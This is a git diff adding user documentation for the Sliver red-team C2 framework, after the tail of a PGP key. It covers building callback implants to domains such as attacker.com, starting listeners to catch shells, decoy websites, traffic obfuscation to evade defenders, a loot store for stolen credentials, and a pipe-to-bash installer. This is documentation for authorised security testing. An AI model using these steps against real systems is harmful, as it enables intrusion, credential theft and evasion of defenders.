+t+GUWEOr5zvtmvd+YGeU6egX7yrqzSUjiS613oq/Nn1x9AS+dZuxMr+H/CiCnR1U
+OhrUSywALihikehthAjnZoUml6eDCO9kKss2BTqoNthDTf/WXIRE8bY5gwARAQAB
+iQI2BBgBCAAgFiEEDtOQDSls+gKDpORmffkSQERJA5wFAmBlvl8CGwwACgkQffkS
+QERJA5xjow/+Ou+JjNXrQ2wsa2bhXmF6sW3Fzwuzf3DnjLUU8U5I0rxvweSuVxYT
+uSDw7kj6H/alxPkem/6gUAlasfq70PliH7MrBW36FmGlyFf4rO1qAnLy5w1EIQm3
+9C847b0sd7SivVq0Gx1MN25aZA1w1QLPPOQZhf6EXtkVeMOeHOXvmPjyiOcUdaZH
+QXMkrTbKL2mudqUiUDrptgf9b7gfW7G7RWRuzgy8+JyxAyqpasfHdD9/9vpU9twu
+lT/55TwSWQ0IiorgjfJNtJAVKuZ+73MgPPbH1kmSRcUBEleJOMPZvgCHhs5y3eQS
+p5qUN2kQxNXLtWKVE8j9uGzY0DqO583orjATWj52Kz7SM4uio1ZBVLcJht6YPdBH
+9MkG5o3Yuzif05VBnBp8AUeLNKkW4wlg9VUwdLFuY/6vDSApbU/BSvffx4BvOGha
+2RNzTaiZaiie1Hji3/dsI7dCAfajznuzSmW/fBhDZotKEZr6o1m3OTN4gs3tA/pl
+1IjjARdTpaKqQGDtTu520RC5K7AIQvgIVy4sQN0jBZM5qNkr4Qt+U94A3vqjaRGX
+5UofpRVFFWGP9QQAuIacdTioF05sBcw15WC9ULxi2lV8vBsVjT9zIS4zxfRE8u/G
+DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
+=lxj2
+-----END PGP PUBLIC KEY BLOCK-----
+
+```
diff --git a/docs/sliver-docs/pages/docs/md/Getting Started.md b/docs/sliver-docs/pages/docs/md/Getting Started.md
new file mode 100644
index 0000000000..9827cb8b45
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Getting Started.md
@@ -0,0 +1,252 @@
+**⚠️ NOTE:** This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
+
+## Server Setup
+
+Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
+
+Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
+
+Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
+
+#### System Requirements
+
+The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](https://github.com/BishopFox/sliver/wiki/External-Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
+
+### MinGW Setup (Optional, Recommended)
+
+In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
+
+#### Linux (Debian-based)
+
+```
+apt install git mingw-w64
+```
+
+#### MacOS
+
+```
+brew install git mingw-w64
+```
+
+**Note:** On MacOS you may need to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
+
+See [cross-compiling implants](https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants) for more details.
+
+### Metasploit Setup (Optional)
+
+We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 6.2+.
+
+## Implants: Beacon vs. Session
+
+Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
+
+Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
+
+Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
+
+Some commands such as `shell` and `portfwd` only work over interactive sessions.
+
+## Generating Implants
+
+Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
+
+#### Session Mode
+
+```
+[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
+
+[*] Generating new windows/amd64 Sliver binary
+[*] Build completed in 00:00:16
+[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
+```
+
+#### Beacon Mode
+
+```
+[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
+
+[*] Generating new windows/amd64 beacon implant binary (1m0s)
+[*] Symbol obfuscation is enabled
+[*] Build completed in 00:00:27
+[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
+```
+
+Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
+
+Some commands/features may not work on "unsupported" platforms.
+
+```
+sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
+
+[*] Generating new darwin/amd64 Sliver binary
+[*] Build completed in 00:00:09
+[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
+```
+
+The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
+
+```
+sliver > implants
+
+Name OS/Arch Debug Format
+==== ======= ===== ======
+CAUTIOUS_PANPIPE darwin/amd64 false EXECUTABLE
+LATE_SUBCOMPONENT windows/amd64 false SHARED_LIB
+RUBBER_PRINTER windows/amd64 true SHARED_LIB
+RACIAL_SPECTACLES darwin/amd64 false EXECUTABLE
+MATHEMATICAL_SASH darwin/amd64 true SHARED_LIB
+MUSHY_TRADITIONALISM windows/amd64 false SHARED_LIB
+SICK_SPY darwin/amd64 false EXECUTABLE
+```
+
+If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
+
+```
+sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
+
+[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
+```
+
+#### Additional Details
+
+For addition details about each C2 please see:
+
+- [HTTP(S) C2]()
+- [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
+
+## Getting Shells
+
+Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
+
+```
+sliver > mtls
+
+[*] Starting mTLS listener ...
+[*] Successfully started job #1
+
+sliver > jobs
+
+ID Name Protocol Port
+== ==== ======== ====
+1 mTLS tcp 8888
+```
+
+In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
+
+### Interacting with Sessions
+
+The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
+
+```
+[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
+
+sliver > use 8ff2ce4c
+
+[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
+
+sliver (LONG_DRAMATURGE) > ls
+
+/Users/moloch/Desktop
+=====================
+.DS_Store 6.0 KiB
+.localized 0 B
+LONG_DRAMATURGE 6.3 MiB
+```
+
+If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
+
+### Interacting with Beacons
+
+Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
+
+```
+[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
+
+[server] sliver > beacons
+
+ ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
+========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
+ 8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
+
+[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
+
+[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
+
+[server] sliver (RELATIVE_ADVERTISEMENT) >
+```
+
+You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
+
+```
+[server] sliver (RELATIVE_ADVERTISEMENT) > ls
+
+[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
+
+[+] RELATIVE_ADVERTISEMENT completed task 962978a6
+
+C:\git
+======
+drwxrwxrwx a Wed Dec 22 15:34:56 -0600 2021
+...
+```
+
+Tasks will execute in the order they were created (FIFO).
+
+**⚠️ IMPORTANT:** Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
+
+You can view previous tasks executed by the active beacon using the `tasks` command:
+
+```
+[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
+
+ ID State Message Type Created Sent Completed
+========== =========== ============== =============================== =============================== ===============================
+ 90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
+ 962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
+```
+
+You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Operators in multiplayer mode can fetch output from tasks issued by any other operator on the server. However, operators will only see the automatic results from tasks that they themselves executed. You can disable the automatic display of task results using the `settings` command.
+
+#### Switching from Beacon Mode to Session Mode
+
+You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
+
+```
+[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
+
+[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
+[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
+
+[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
+```
+
+**⚠️ IMPORTANT:** You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
+
+When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
+
+## Multiple Domains/Protocols
+
+You can specify multiple domains and protocols during the generation process.
+
+By default Sliver will attempt to use the `s` sequential connection strategy: the most performant protocols are used first (MTLS -> WG -> HTTP(S) -> DNS) falling back to subsequent domains/protocols if/when connections fail.
+
+```
+sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
+```
+
+You can modify the connection strategy at compile-time using the `--strategy` flag. For example, you can instruct the implant to `r` randomly connect to any specified C2 endpoint:
+
+```
+sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
+```
+
+## What Next?
+
+Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
+
+- [Armory](https://sliver.sh/docs#name=Armory)
+- [Stagers](https://sliver.sh/docs#name=Stagers)
+- [Community Guides](https://sliver.sh/docs#name=Community%20Guides)
+- [Port Forwarding](https://sliver.sh/docs#name=Port%20Forwarding)
+- [Reverse SOCKS](https://sliver.sh/docs#name=Reverse%20SOCKS)
+- [BOF/COFF Support](https://sliver.sh/docs#name=BOF%20and%20COFF%20Support)
diff --git a/docs/sliver-docs/pages/docs/md/HTTPS C2.md b/docs/sliver-docs/pages/docs/md/HTTPS C2.md
new file mode 100644
index 0000000000..187d7ca9bd
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/HTTPS C2.md
@@ -0,0 +1,227 @@
+Sliver supports proxy-aware C2 over both HTTP and HTTPS, however since Sliver does not rely upon the SSL/TLS layer for security these protocols are considered somewhat synonymous. There are separate commands for the listeners but an implant generated with `--http` may attempt to connect over both HTTP and HTTPS (see "under the hood" for more details).
+
+## Generate the Implant
+
+Sliver implants are compiled with a baked-in (but obfuscated of course) server domain that they will reach back out to. To generate a sliver implant that communicates to a server at `example.com` run the following:
+
+#### Basic Example
+
+```
+sliver > generate --http example.com --os mac
+
+[*] Generating new darwin/amd64 implant binary
+[*] Build completed in 00:00:05
+[*] Implant saved to /Users/moloch/Desktop/WORKING_HACIENDA
+```
+
+#### Multiple Domains
+
+You can also specify multiple domains, in the event the implant cannot connect to the first it will subsequently attempt to connect to each domain you specified in order. Subsequent attempts are made based on the `--reconnect` argument (default 60 seconds). If no attempts are successful, the implant will loop across all of the domains until `--max-errors` (default 1000) is reached, at which point the implant will terminate execution:
+
+```
+sliver > generate --http example.com,attacker.com
+
+[*] Generating new windows/amd64 implant binary
+[*] Build completed in 00:00:05
+[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE
+```
+
+#### URL Prefixes and Other Options
+
+Some additional options may be passed to the `--http` C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP re-directors, etc. To add a URL prefix simply add a path to the domain as shown below:
+
+```
+sliver > generate --http example.com/foo/bar
+
+[*] Generating new windows/amd64 implant binary
+[*] Build completed in 00:00:05
+[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE
+```
+
+This implant will now prepend `/foo/bar` to all generated URLs for `example.com`. You may specify different path prefixes for different domains if you so choose.
+
+#### Proxies
+
+The implant attempts to auto-detect proxy settings using a modified version of the [go-get-proxied](https://github.com/rapid7/go-get-proxied) library. It supports detection of system proxy settings on Windows, MacOS, and Linux. In the event the implant cannot make a successful HTTP/HTTPS connection for a given domain using the system proxy settings, it will also attempt to make a connection to the same domain ignoring the proxy settings. The order of connection attempts is as follows:
+
+1. HTTPS over system proxy
+1. HTTP over system proxy
+1. HTTPS direct connect
+1. HTTP direct connect
+
+#### Proxy Configuration
+
+The priority of retrieval is the following:
+
+- **Windows**
+ - Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
+ - Internet Options: Automatically detect settings (`WPAD`)
+ - Internet Options: Use automatic configuration script (`PAC`)
+ - Internet Options: Manual proxy server
+ - WINHTTP: (`netsh winhttp`)
+- **Linux**
+ - Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
+- **MacOS**
+ - Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
+ - Network Settings: `scutil`
+
+#### NTLM/Kerberos Proxy Authentication
+
+You can use [advanced options](https://github.com/BishopFox/sliver/wiki/C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
+
+## Start the Listener
+
+To start an HTTP listener use the `http` command, with no parameters this will start a listener on port 80 and respond to any domain (i.e., HTTP `Host:`) that comes in:
+
+```
+sliver > http
+```
+
+You can optionally restrict the listener to only respond to a specific domain using the `--domain` flag, currently each listener can only accept a single domain (but you can start any number of listeners you want):
+
+```
+sliver > http --domain example.com
+```
+
+## Static Content
+
+Sliver can stand up a website on your HTTP(S) listener in order to make the server look more legitimate. For example, you could put a default IIS index page here and mimic a normal-looking server in case someone comes by snooping. You can manage static content using the `websites` command (see `websites --help`):
+
+```
+websites --website fake-blog --web-path / --content ./index.html add
+```
+
+Each "website" is identified by a name (`fake-blog` in the example above) and is essentially just key<->value pairs request paths (e.g. `/foo/bar.html`) and response's content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content.
+
+**Note:** C2 related messages are identified, intercepted, and responded to prior to checking for user-provided `website` content, so you can actually map content to any URL used for C2.
+
+To use your website with an HTTP(S) listener, specify it using `--website` when you start the listener:
+
+```
+sliver > http --website fake-blog --domain example.com
+```
+
+## SSL/TLS Certificates
+
+By default when using the `https` listener Sliver will simply generate a random self-signed certificate. However, other options do exist. The `https` listener also supports automatic TLS certificates via Let's Encrypt, which can be enabled using the `--lets-encrypt` flag.
+
+```
+sliver > https --domain example.com --lets-encrypt
+```
+
+This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](https://github.com/BishopFox/sliver/wiki/Troubleshooting).
+
+You can also upload your own SSL/TLS certificate/key pairs:
+
+```
+sliver > https --domain example.com --cert ./cert.pem --key ./key.pem --website fake-blog
+```
+
+## Modifying C2 Traffic
+
+Starting in v1.5 you can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. The configuration file options are described below:
+
+⚠️ **WARNING:** Making changes to this file may break compatibility with existing implants, therefore you should make your changes to this configuration _prior to generating any implants_.
+
+### `implant_config`
+
+| Field Name | Description |
+| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `user_agent` | The implant's user agent, a blank string will randomly generate a platform appropriate user-agent and version (default: blank) |
+| `chrome_base_version` | The Chrome version to put into the user agent head, plus a random value up to 3 (default: `100`) |
+| `url_parameters` | A list of objects that contain a `name`, `value`, and a `probability` that should be included as URL query parameters in addition to the ones used by encoders (default: `null`). Probability may be 1-100, any other value will be treated as 100. URL parameter names must be 3 or more characters. |
+| `headers` | A list of objects that contain a `name`, `value` and a `probability ` to add as request headers (default: `null`) |
+| `max_files` | Max number of random file names to use (default: `8`) |
+| `min_files` | Min number of random file names to use (default: `2`) |
+| `max_paths` | Max number of path segments to generate per-URL in addition to any prefixes (default: `8`) |
+| `min_paths` | Min number of path segments to generate per-URL in addition to any prefixes (default: `2`) |
+| `stager_file_ext` | The file extension to associate with stagers (default: `.woff`) |
+| `stager_files` | A list of strings that should be used as "file name" segments in the URL, appended with `stager_file_ext` |
+| `stager_paths` | A list of strings that should be used as path segments in the generated URL |
+| `poll_file_ext` | The file extension to associate with poll requests (default: `.js`) |
+| `poll_files` | A list of strings that should be used as "file name" segments in the URL, appended with `poll_file_ext` |
+| `poll_paths` | A list of strings that should be used as path segments in the generated URL |
+| `start_session_file_ext` | The file extension to associate with key exchange messages (default: `.html`) |
+| `session_file_ext` | The file extension to associate with session messages (default: `.php`) |
+| `session_files` | A list of strings that should be used as "file name" segments in the URL, appended with `session_file_ext` and `start_session_file_ext` |
+| `session_paths` | A list of strings that should be used as path segments in the generated URLs |
+| `close_file_ext` | The file extension to associate with close session messages (default: `.png`) |
+| `close_files` | A list of strings that should be used as "file name" segments in the URL, appended with `close_file_ext` |
+| `close_paths` | A list of strings that should be used as path segments in generated URLs |
+
+### `server_config`
+
+| Field Name | Description |
+| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `random_version_headers` | Boolean value, if enabled the server will return random Apache/Nginx and PHP version numbers (default: `false`) |
+| `headers` | A list of objects containing a `name`, `value`, and a `probability` that should be included as response headers. Probability may be 1-100, any other value will be treated as 100. |
+| `cookies` | A list of strings to use as cookie names |
+
+# Under the Hood
+
+This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users want to understand, extend, or are simply curious about Sliver's design.
+
+### Design Goals
+
+The primary goals of the existing HTTP C2 design are to:
+
+- **Reliable Connections** The implants foremost goal is to get a connection out of the network, regardless of the environment's configuration.
+- **Data Security** I won't cover this here, but [click here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) for details.
+- **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below.
+
+### Procedural HTTP C2
+
+Sliver [procedurally generates](https://en.wikipedia.org/wiki/Procedural_generation) each HTTP request with the C2 data in it based on the configuration file described above. Each request will have randomized URLs and query arguments, and different types of messages also use different file extensions/paths.
+
+Each implant is also only embedded with a randomly generated subset of the server's C2 profile, so two or more implants generated from the same server may not generate similar URLs depending on how you tweak the configuration.
+
+#### Implant-side
+
+The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now):
+
+1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](https://github.com/BishopFox/sliver/wiki/Transport-Encryption). Everything in the path except for the extension is ignored by the server.
+
+In the default configuration:
+
+- `.woff` = Stagers
+- `.js` = Long poll messages
+- `.html` = Key exchange messages
+- `.php` = Session messages
+- `.png` = Close session messages
+
+2. Randomly select an encoder from `sliver/encoders`, an encoder defines how the message we're trying to send to the server gets encoded. Note that we're always encoding the ciphertext of a message, these encoders are purely for obfuscation _not security_. The currently supported encoders are:
+
+- **Base64** Base64 with a custom alphabet so that it's not interoperable with standard Base64
+- **Hex** Standard hexadecimal encoding with ASCII characters
+- **Gzip** Standard gzip
+- **English** Encodes arbitrary data as English ASCII text
+- **PNG** Encodes arbitrary data into valid PNG image files
+- **Gzip+English** A combination of the Gzip and English encoders
+- **Base64+Gzip** A combination of the Base64 and Gzip encoders
+
+Each of these encoders has a unique "Encoder ID," which is currently hardcoded but we'll probably randomly generate these per-server in the future.
+
+3. Generate a `nonce`, the nonce is equal to a random number times the `EncoderModulus` plus the encoder ID; the `EncoderModulus` is currently a hardcoded constant value, but we may generate this per-server in the future. The server does the opposite (nonce modulo `EncoderModulus`) to determine the original Encoder ID. In code this looks like:
+
+```
+nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
+encoderId := nonce % EncoderModulus
+```
+
+The nonce is included in the request as the query parameter `_`, the idea is that this a standard pattern for "cache busting" and at a glance looks legitimate as the nonces look (are) random. The server also ignores any request that does not contain a valid nonce, just in case any pesky blue teamers come sniffing around the web server. An invalid nonce is define as any value that does not map to an Encoder ID or zero. A "NOP" nonce is also supported, which is an encoder ID of zero (i.e. the modulo of the nonce equals zero).
+
+4. Send the request to the server, this could be any valid transport such as HTTP, HTTPS, or over a proxy -the same request format is always used for any HTTP-like protocol.
+
+#### Server-side
+
+5. When the server receives the request it will route the request to a given handler based on the requested path's extension as detailed above (in this case we're talking about paths that end in `.php`).
+
+6. Check that the request contains a valid nonce, if the request does not contain a valid nonce it is ignored from a C2 standpoint but the server may still respond with `website` content.
+
+7. Determine the encoder based on the nonce, decode and decrypt the request.
+
+8. Execute any server-side processing.
+
+9. Should the request merit a response, encode the encrypted response using the same encoder as the request. By using the same encoder as the request we ensure the implant supports a given encoder (in case of a version mismatch between implant and server) and allows the implant to limit the encoders used if it so chooses.
+
+10. Send the response back to the implant.
diff --git a/docs/sliver-docs/pages/docs/md/Linux Install Script.md b/docs/sliver-docs/pages/docs/md/Linux Install Script.md
new file mode 100644
index 0000000000..9ca72a02f3
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Linux Install Script.md
@@ -0,0 +1,40 @@
+This script will install the latest version of Sliver as a systemd service, installs Windows cross-compiler dependencies (mingw), and setup multiplayer for the all local users. After running the script connect locally by running `sliver`.
+
+https://sliver.sh/install
+
+This script should work on Kali, Ubuntu, and RHEL (CentOS, etc) distributions of Linux.
+
+**⚠️ OPSEC:** By default the Linux install script will bind the multiplayer listener to `:31337` i.e. all interfaces. Ensure your firewalls are properly configured if this is a concern, or reconfigure the server to bind to localhost if you only wish to allow local users. Multiplayer Mode is authenticated using mTLS/gRPC and per-operator bearer tokens, so this doesn't present a security problem (notwithstanding bugs in our implementation), but publicly exposing your multiplayer listener will make it trivial to identify what the server is running.
+
+### One Liner
+
+```
+curl https://sliver.sh/install|sudo bash
+```
+
+- Installs server binary to `/root/sliver-server`
+- Installs mingw
+- Runs the server in daemon mode using systemd
+- Installs client to `/usr/local/bin/sliver`
+- Generates multiplayer configurations for all users with a `/home` directory
+
+### Systemd Service
+
+The following systemd configuration is used:
+
+```
+[Unit]
+Description=Sliver
+After=network.target
+StartLimitIntervalSec=0
+
+[Service]
+Type=simple
+Restart=on-failure
+RestartSec=3
+User=root
+ExecStart=/root/sliver-server daemon
+
+[Install]
+WantedBy=multi-user.target
+```
diff --git a/docs/sliver-docs/pages/docs/md/Loot.md b/docs/sliver-docs/pages/docs/md/Loot.md
new file mode 100644
index 0000000000..af393f7268
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Loot.md
@@ -0,0 +1,17 @@
+The `loot` command is a server-side store of looted files and credentials. Since this is implemented server-side, all files and credentials in the loot store are shared amongst all operators in multiplayer mode. See `loot --help` for a complete list of sub-commands.
+
+### Adding Loot
+
+You can add loot to the loot store several different ways:
+
+- The `loot remote` command can be used to pull a file directly from a remote system to the loot store (requires an active session).
+- The `loot local` command can be used to add files from the operator's local machine to the loot store.
+- Several commands (e.g. `sideload`, and `execute-assembly`) have the `--loot` flag, which can be used to save the output of the command to the loot store.
+
+### Fetching Loot
+
+To fetch (i.e., look at) a piece of loot use the `loot fetch` command, it will present an interactive menu for you to select from. Textual loot will be displayed directly, file loot can be saved to a local file.
+
+### Remove Loot
+
+The `loot rm` command is used to remove loot from the server.
diff --git a/docs/sliver-docs/pages/docs/md/Multi-player Mode.md b/docs/sliver-docs/pages/docs/md/Multi-player Mode.md
new file mode 100644
index 0000000000..fb997bc99b
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Multi-player Mode.md
@@ -0,0 +1,82 @@
+Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
+
+```
+ ┌──────────────────┐ C2
+ │ │ Protocol ┌─────────┐
+ │ Sliver C2 Server ├─────────────►│ Implant │
+ │ │ └─────────┘
+ └──────────────────┘
+ ▲
+ │
+ gRPC/mTLS │
+ ┌────────────┬────────┴─────┬───────────┐
+ │ │ │ │
+┌─────┴──┐ │ │ ┌──┴─────┐
+│Windows │ ┌────┴───┐ ┌────┴───┐ │Windows │
+│Operator│ │Linux │ │MacOS │ │Operator│
+└────────┘ │Operator│ │Operator│ └────────┘
+ └────────┘ └────────┘
+```
+
+## New Operators
+
+Operators will need to download their preferred platform's client software from the releases page. Clients can connect to servers of differing platforms (e.g. a Windows client can connect to a Linux server). Operators and servers authenticate using Mutual TLS, however all the certificates are managed automatically for you.
+
+- If you did not install the server as a systemd service, be sure to leave the server console running in screen or [tmux](https://github.com/tmux/tmux) after starting the multiplayer listener.
+- If you did install the server as systemd service see the CLI section below for an alternative to the console commands for generating operator configs.
+
+Operators need a configuration file generated by the Sliver server to connect in multiplayer mode. The Sliver client can support multiple configuration files, but you can only be connected to one server at a time (per process).
+
+From the server use the `new-operator` command to generate a new operator configuration file. You'll need to specify the operator's `--name` and the `--lhost` of the server (e.g., its public IP). Then from the server start a multiplayer listener using the `multiplayer` command to allow operators to connect:
+
+**Note:** The `new-operator` and `multiplayer` commands are only accessible from the server's console
+
+```
+[server] sliver > new-operator --name moloch --lhost 1.2.3.4
+
+[*] Generating new client certificate, please wait ...
